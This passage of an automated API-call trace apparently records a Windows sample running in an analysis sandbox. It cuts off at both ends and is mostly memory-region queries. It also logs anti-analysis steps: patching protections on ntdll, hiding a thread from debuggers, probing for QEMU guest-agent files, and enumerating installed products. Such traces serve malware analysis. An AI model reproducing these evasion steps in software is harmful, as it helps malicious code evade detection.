Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x898000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x8000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0101.545] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x899000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x899000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x7000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0101.545] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x89a000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x89a000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x6000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0101.545] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x89b000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x89b000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x5000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0101.545] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x89c000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x89c000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x4000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0101.545] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x89d000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x89d000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x3000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0101.545] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x89e000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x89e000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x2000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0101.545] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x89f000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x89f000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x1000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0101.545] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x8a0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x8a0000, AllocationBase=0x8a0000, AllocationProtect=0x2, RegionSize=0x48000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.545] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x8a1000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x8a1000, AllocationBase=0x8a0000, AllocationProtect=0x2, RegionSize=0x47000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.545] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x8a2000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x8a2000, AllocationBase=0x8a0000, AllocationProtect=0x2, RegionSize=0x46000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.546] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x8a3000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x8a3000, AllocationBase=0x8a0000, AllocationProtect=0x2, RegionSize=0x45000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.546] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x8a4000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x8a4000, AllocationBase=0x8a0000, AllocationProtect=0x2, RegionSize=0x44000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.546] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x8a5000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x8a5000, AllocationBase=0x8a0000, AllocationProtect=0x2, RegionSize=0x43000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.546] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x8a6000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x8a6000, AllocationBase=0x8a0000, AllocationProtect=0x2, RegionSize=0x42000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.546] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x8a7000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x8a7000, AllocationBase=0x8a0000, AllocationProtect=0x2, RegionSize=0x41000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.546] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x8a8000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x8a8000, AllocationBase=0x8a0000, AllocationProtect=0x2, RegionSize=0x40000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.546] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x8a9000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x8a9000, AllocationBase=0x8a0000, AllocationProtect=0x2, RegionSize=0x3f000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.547] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x8aa000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x8aa000, AllocationBase=0x8a0000, AllocationProtect=0x2, RegionSize=0x3e000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.547] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x8ab000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x8ab000, AllocationBase=0x8a0000, AllocationProtect=0x2, RegionSize=0x3d000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.547] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x8ac000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x8ac000, AllocationBase=0x8a0000, AllocationProtect=0x2, RegionSize=0x3c000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.547] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x8ad000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x8ad000, AllocationBase=0x8a0000, AllocationProtect=0x2, RegionSize=0x3b000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.547] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x8ae000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x8ae000, AllocationBase=0x8a0000, AllocationProtect=0x2, RegionSize=0x3a000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.547] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x8af000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x8af000, AllocationBase=0x8a0000, AllocationProtect=0x2, RegionSize=0x39000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.547] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x8b0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x8b0000, AllocationBase=0x8a0000, AllocationProtect=0x2, RegionSize=0x38000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.548] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x8b1000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x8b1000, AllocationBase=0x8a0000, AllocationProtect=0x2, RegionSize=0x37000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.548] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x8b2000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x8b2000, AllocationBase=0x8a0000, AllocationProtect=0x2, RegionSize=0x36000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.548] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x8b3000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x8b3000, AllocationBase=0x8a0000, AllocationProtect=0x2, RegionSize=0x35000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.548] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x8b4000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x8b4000, AllocationBase=0x8a0000, AllocationProtect=0x2, RegionSize=0x34000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.548] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x8b5000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x8b5000, AllocationBase=0x8a0000, AllocationProtect=0x2, RegionSize=0x33000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.548] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x8b6000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x8b6000, AllocationBase=0x8a0000, AllocationProtect=0x2, RegionSize=0x32000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.548] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x8b7000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x8b7000, AllocationBase=0x8a0000, AllocationProtect=0x2, RegionSize=0x31000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.549] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x8b8000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x8b8000, AllocationBase=0x8a0000, AllocationProtect=0x2, RegionSize=0x30000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.549] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x8b9000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x8b9000, AllocationBase=0x8a0000, AllocationProtect=0x2, RegionSize=0x2f000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.549] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x8ba000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x8ba000, AllocationBase=0x8a0000, AllocationProtect=0x2, RegionSize=0x2e000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.549] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x8bb000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x8bb000, AllocationBase=0x8a0000, AllocationProtect=0x2, RegionSize=0x2d000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.549] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x8bc000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x8bc000, AllocationBase=0x8a0000, AllocationProtect=0x2, RegionSize=0x2c000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.549] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x8bd000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x8bd000, AllocationBase=0x8a0000, AllocationProtect=0x2, RegionSize=0x2b000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.551] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x8be000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x8be000, AllocationBase=0x8a0000, AllocationProtect=0x2, RegionSize=0x2a000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.551] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x8bf000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x8bf000, AllocationBase=0x8a0000, AllocationProtect=0x2, RegionSize=0x29000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0101.551] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x8c0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x8c0000, AllocationBase=0x8a0000, AllocationProtect=0x2, RegionSize=0x28000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0111.906] LoadLibraryA (lpLibFileName="kernel32") returned 0x75b90000 [0111.907] LoadLibraryA (lpLibFileName="kernel32") returned 0x75b90000 [0111.907] LoadLibraryA (lpLibFileName="user32") returned 0x770d0000 [0111.907] EnumWindows (lpEnumFunc=0x2504cf, lParam=0x18f254) returned 1 [0111.913] LoadLibraryA (lpLibFileName="ntdll") returned 0x77bb0000 [0111.914] LoadLibraryA (lpLibFileName="ntdll") returned 0x77bb0000 [0111.914] LoadLibraryA (lpLibFileName="ntdll") returned 0x77bb0000 [0111.914] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x18f23c*=0x77bc0000, NumberOfBytesToProtect=0x18f240, NewAccessProtection=0x40, OldAccessProtection=0x18f244 | out: BaseAddress=0x18f23c*=0x77bc0000, NumberOfBytesToProtect=0x18f240, OldAccessProtection=0x18f244*=0x20) returned 0x0 [0111.947] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x18f23c*=0x77bc0000, NumberOfBytesToProtect=0x18f240, NewAccessProtection=0x20, OldAccessProtection=0x18f244 | out: BaseAddress=0x18f23c*=0x77bc0000, NumberOfBytesToProtect=0x18f240, OldAccessProtection=0x18f244*=0x40) returned 0x0 [0112.015] LoadLibraryA (lpLibFileName="ntdll") returned 0x77bb0000 [0112.021] NtSetInformationThread (ThreadHandle=0xfffffffe, ThreadInformationClass=0x11, ThreadInformation=0x0, ThreadInformationLength=0x0) returned 0x0 [0112.022] LoadLibraryA (lpLibFileName="kernel32") returned 0x75b90000 [0112.022] CreateFileA (lpFileName="C:\\Program Files\\Qemu-ga\\qemu-ga.exe" (normalized: "c:\\program files\\qemu-ga\\qemu-ga.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0112.025] CreateFileA (lpFileName="C:\\Program Files\\qga\\qga.exe" (normalized: "c:\\program files\\qga\\qga.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0112.025] LoadLibraryA (lpLibFileName="ntdll") returned 0x77bb0000 [0112.025] NtAllocateVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x18f2c0*=0x0, ZeroBits=0x0, RegionSize=0x18f2bc*=0x1b102000, AllocationType=0x3000, Protect=0x4 | out: BaseAddress=0x18f2c0*=0x3a60000, RegionSize=0x18f2bc*=0x1b102000) returned 0x0 [0112.046] LoadLibraryA (lpLibFileName="Msi.dll") returned 0x745e0000 [0112.062] LoadLibraryA (lpLibFileName="Msi.dll") returned 0x745e0000 [0112.063] MsiEnumProductsA (in: iProductIndex=0x0, lpProductBuf=0x3a70000 | out: lpProductBuf="{90160000-008C-0000-1000-0000000FF1CE}") returned 0x0 [0112.067] MsiGetProductInfoA (in: szProduct="{90160000-008C-0000-1000-0000000FF1CE}", szAttribute="Publisher", lpValueBuf=0x3a700ff, pcchValueBuf=0x18f350 | out: lpValueBuf="Microsoft Corporation", pcchValueBuf=0x18f350) returned 0x0 [0112.068] MsiEnumProductsA (in: iProductIndex=0x1, lpProductBuf=0x3a70000 | out: lpProductBuf="{90160000-008C-0409-1000-0000000FF1CE}") returned 0x0 [0112.069] MsiGetProductInfoA (in: szProduct="{90160000-008C-0409-1000-0000000FF1CE}", szAttribute="Publisher", lpValueBuf=0x3a700ff, pcchValueBuf=0x18f350 | out: lpValueBuf="Microsoft Corporation", pcchValueBuf=0x18f350) returned 0xea [0112.070] MsiEnumProductsA (in: iProductIndex=0x2, lpProductBuf=0x3a70000 | out: lpProductBuf="{90160000-007E-0000-1000-0000000FF1CE}") returned 0x0 [0112.070] MsiGetProductInfoA (in: szProduct="{90160000-007E-0000-1000-0000000FF1CE}", szAttribute="Publisher", lpValueBuf=0x3a700ff, pcchValueBuf=0x18f350 | out: lpValueBuf="Microsoft Corporation", pcchValueBuf=0x18f350) returned 0xea [0112.071] MsiEnumProductsA (in: iProductIndex=0x3, lpProductBuf=0x3a70000 | out: lpProductBuf="{1D8E6291-B0D5-35EC-8441-6616F567A0F7}") returned 0x0 [0112.071] MsiGetProductInfoA (in: szProduct="{1D8E6291-B0D5-35EC-8441-6616F567A0F7}", szAttribute="Publisher", lpValueBuf=0x3a700ff, pcchValueBuf=0x18f350 | out: lpValueBuf="Microsoft Corporation", pcchValueBuf=0x18f350) returned 0xea [0112.072] MsiEnumProductsA (in: iProductIndex=0x4, lpProductBuf=0x3a70000 | out: lpProductBuf="{ad8a2fa1-06e7-4b0d-927d-6e54b3d31028}") returned 0x0 [0112.073] MsiGetProductInfoA (in: szProduct="{ad8a2fa1-06e7-4b0d-927d-6e54b3d31028}", szAttribute="Publisher", lpValueBuf=0x3a700ff, pcchValueBuf=0x18f350 | out: lpValueBuf="Microsoft Corporation", pcchValueBuf=0x18f350) returned 0xea [0112.073] MsiEnumProductsA (in: iProductIndex=0x5, lpProductBuf=0x3a70000 | out: lpProductBuf="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}") returned 0x0 [0112.074] MsiGetProductInfoA (in: szProduct="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}", szAttribute="Publisher", lpValueBuf=0x3a700ff, pcchValueBuf=0x18f350 | out: lpValueBuf="Microsoft Corporation", pcchValueBuf=0x18f350) returned 0xea [0112.075] MsiEnumProductsA (in: iProductIndex=0x6, lpProductBuf=0x3a70000 | out: lpProductBuf="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}") returned 0x0 [0112.075] MsiGetProductInfoA (in: szProduct="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}", szAttribute="Publisher", lpValueBuf=0x3a700ff, pcchValueBuf=0x18f350 | out: lpValueBuf="Microsoft Corporation", pcchValueBuf=0x18f350) returned 0xea [0112.076] MsiEnumProductsA (in: iProductIndex=0x7, lpProductBuf=0x3a70000 | out: lpProductBuf="{68306422-7C57-373F-8860-D26CE4BA2A15}") returned 0x0 [0112.076] MsiGetProductInfoA (in: szProduct="{68306422-7C57-373F-8860-D26CE4BA2A15}", szAttribute="Publisher", lpValueBuf=0x3a700ff, pcchValueBuf=0x18f350 | out: lpValueBuf="Microsoft Corporation", pcchValueBuf=0x18f350) returned 0xea [0112.077] MsiEnumProductsA (in: iProductIndex=0x8, lpProductBuf=0x3a70000 | out: lpProductBuf="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}") returned 0x0 [0112.077] MsiGetProductInfoA (in: szProduct="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}", szAttribute="Publisher", lpValueBuf=0x3a700ff, pcchValueBuf=0x18f350 | out: lpValueBuf="Microsoft Corporation", pcchValueBuf=0x18f350) returned 0xea [0112.078] MsiEnumProductsA (in: iProductIndex=0x9, lpProductBuf=0x3a70000 | out: lpProductBuf="{26A24AE4-039D-4CA4-87B4-2F03217071FF}") returned 0x0 [0112.079] MsiGetProductInfoA (in: szProduct="{26A24AE4-039D-4CA4-87B4-2F03217071FF}", szAttribute="Publisher", lpValueBuf=0x3a700ff, pcchValueBuf=0x18f350 | out: lpValueBuf="Oracle", pcchValueBuf=0x18f350) returned 0x0 [0112.079] MsiEnumProductsA (in: iProductIndex=0xa, lpProductBuf=0x3a70000 | out: lpProductBuf="{94A631D5-B30A-3DD8-B65C-1117C09DA73E}") returned 0x0 [0112.080] MsiGetProductInfoA (in: szProduct="{94A631D5-B30A-3DD8-B65C-1117C09DA73E}", szAttribute="Publisher", lpValueBuf=0x3a700ff, pcchValueBuf=0x18f350 | out: lpValueBuf="Oracle", pcchValueBuf=0x18f350) returned 0xea [0112.081] MsiEnumProductsA (in: iProductIndex=0xb, lpProductBuf=0x3a70000 | out: lpProductBuf="{929FBD26-9020-399B-9A7A-751D61F0B942}") returned 0x0 [0112.081] MsiGetProductInfoA (in: szProduct="{929FBD26-9020-399B-9A7A-751D61F0B942}", szAttribute="Publisher", lpValueBuf=0x3a700ff, pcchValueBuf=0x18f350 | out: lpValueBuf="Oracle", pcchValueBuf=0x18f350) returned 0xea [0112.082] MsiEnumProductsA (in: iProductIndex=0xc, lpProductBuf=0x3a70000 | out: lpProductBuf="{5FCE6D76-F5DC-37AB-B2B8-22AB8CEDB1D4}") returned 0x0 [0112.083] MsiGetProductInfoA (in: szProduct="{5FCE6D76-F5DC-37AB-B2B8-22AB8CEDB1D4}", szAttribute="Publisher", lpValueBuf=0x3a700ff, pcchValueBuf=0x18f350 | out: lpValueBuf="Oracle", pcchValueBuf=0x18f350) returned 0xea [0112.084] MsiEnumProductsA (in: iProductIndex=0xd, lpProductBuf=0x3a70000 | out: lpProductBuf="{AC76BA86-7AD7-FFFF-7B44-AA0000000001}") returned 0x0 [0112.084] MsiGetProductInfoA (in: szProduct="{AC76BA86-7AD7-FFFF-7B44-AA0000000001}", szAttribute="Publisher", lpValueBuf=0x3a700ff, pcchValueBuf=0x18f350 | out: lpValueBuf="Oracle", pcchValueBuf=0x18f350) returned 0xea [0112.085] MsiEnumProductsA (in: iProductIndex=0xe, lpProductBuf=0x3a70000 | out: lpProductBuf="{9BE518E6-ECC6-35A9-88E4-87755C07200F}") returned 0x0 [0112.085] MsiGetProductInfoA (in: szProduct="{9BE518E6-ECC6-35A9-88E4-87755C07200F}", szAttribute="Publisher", lpValueBuf=0x3a700ff, pcchValueBuf=0x18f350 | out: lpValueBuf="Microsoft Corporation", pcchValueBuf=0x18f350) returned 0x0 [0112.086] MsiEnumProductsA (in: iProductIndex=0xf, lpProductBuf=0x3a70000 | out: lpProductBuf="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}") returned 0x0 [0112.087] MsiGetProductInfoA (in: szProduct="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}", szAttribute="Publisher", lpValueBuf=0x3a700ff, pcchValueBuf=0x18f350 | out: lpValueBuf="Microsoft Corporation", pcchValueBuf=0x18f350) returned 0xea [0112.087] MsiEnumProductsA (in: iProductIndex=0x10, lpProductBuf=0x3a70000 | out: lpProductBuf="{37B8F9C7-03FB-3253-8781-2517C99D7C00}") returned 0x0 [0112.088] MsiGetProductInfoA (in: szProduct="{37B8F9C7-03FB-3253-8781-2517C99D7C00}", szAttribute="Publisher", lpValueBuf=0x3a700ff, pcchValueBuf=0x18f350 | out: lpValueBuf="Microsoft Corporation", pcchValueBuf=0x18f350) returned 0xea [0112.088] MsiEnumProductsA (in: iProductIndex=0x11, lpProductBuf=0x3a70000 | out: lpProductBuf="{582EA838-9199-3518-A05C-DB09462F68EC}") returned 0x0 [0112.089] MsiGetProductInfoA (in: szProduct="{582EA838-9199-3518-A05C-DB09462F68EC}", szAttribute="Publisher", lpValueBuf=0x3a700ff, pcchValueBuf=0x18f350 | out: lpValueBuf="Microsoft Corporation", pcchValueBuf=0x18f350) returned 0xea [0112.089] MsiEnumProductsA (in: iProductIndex=0x12, lpProductBuf=0x3a70000 | out: lpProductBuf="{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned 0x0 [0112.090] MsiGetProductInfoA (in: szProduct="{9AC08E99-230B-47e8-9721-4577B7F124EA}", szAttribute="Publisher", lpValueBuf=0x3a700ff, pcchValueBuf=0x18f350 | out: lpValueBuf="Microsoft Corporation", pcchValueBuf=0x18f350) returned 0x648 [0112.091] MsiEnumProductsA (in: iProductIndex=0x13, lpProductBuf=0x3a70000 | out: lpProductBuf="{B175520C-86A2-35A7-8619-86DC379688B9}") returned 0x0 [0112.091] MsiGetProductInfoA (in: szProduct="{B175520C-86A2-35A7-8619-86DC379688B9}", szAttribute="Publisher", lpValueBuf=0x3a700ff, pcchValueBuf=0x18f350 | out: lpValueBuf="Microsoft Corporation", pcchValueBuf=0x18f350) returned 0xea [0112.092] MsiEnumProductsA (in: iProductIndex=0x14, lpProductBuf=0x3a70000 | out: lpProductBuf="{710f4c1c-cc18-4c49-8cbf-51240c89a1a2}") returned 0x0 [0112.093] MsiGetProductInfoA (in: szProduct="{710f4c1c-cc18-4c49-8cbf-51240c89a1a2}", szAttribute="Publisher", lpValueBuf=0x3a700ff, pcchValueBuf=0x18f350 | out: lpValueBuf="Microsoft Corporation", pcchValueBuf=0x18f350) returned 0xea [0112.093] MsiEnumProductsA (in: iProductIndex=0x15, lpProductBuf=0x3a70000 | out: lpProductBuf="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}") returned 0x0 [0112.094] MsiGetProductInfoA (in: szProduct="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}", szAttribute="Publisher", 